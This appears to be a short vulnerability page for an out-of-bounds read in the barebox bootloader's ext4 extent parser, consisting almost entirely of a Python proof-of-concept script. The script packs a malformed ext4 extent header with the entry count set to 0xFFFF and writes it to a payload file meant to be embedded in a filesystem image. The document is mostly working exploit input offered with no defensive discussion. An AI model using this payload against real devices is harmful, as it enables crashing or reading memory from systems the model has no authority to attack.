CVE-2026-34961: barebox ext4 extent解析越界读取漏洞

import struct # This script generates a malicious ext4 extent header structure. # In a real exploit scenario, this structure would be embedded into a valid # ext4 filesystem image at the specific offset where barebox expects to parse extents. def create_malicious_extent_header(): # ext4 extent header structure: # __u16 eh_magic; // Magic number, 0xF30A # __u16 eh_entries; // Number of valid entries (MALICIOUS FIELD) # __u16 eh_max; // Capacity of the entries array # __u16 eh_depth; // Depth of this extent node # __u32 eh_generation; // Generation eh_magic = 0xF30A # Set eh_entries to a large value to trigger out-of-bounds read. # If the buffer capacity is smaller than 0xFFFF, this will cause an OOB read. eh_entries = 0xFFFF eh_max = 0xFFFF eh_depth = 0 eh_generation = 0 # Pack the structure into binary format (Little Endian) # Format: 2 unsigned short, 2 unsigned short, 1 unsigned int # Corresponds to: H (magic), H (entries), H (max), H (depth), I (generation) format_str = '<HHHHI' binary_data = struct.pack(format_str, eh_magic, eh_entries, eh_max, eh_depth, eh_generation) return binary_data if __name__ == "__main__": payload = create_malicious_extent_header() # Write the payload to a file for demonstration with open('malicious_extent.bin', 'wb') as f: f.write(payload) print("Generated malicious extent header with eh_entries = 0xFFFF") print("Payload saved to malicious_extent.bin")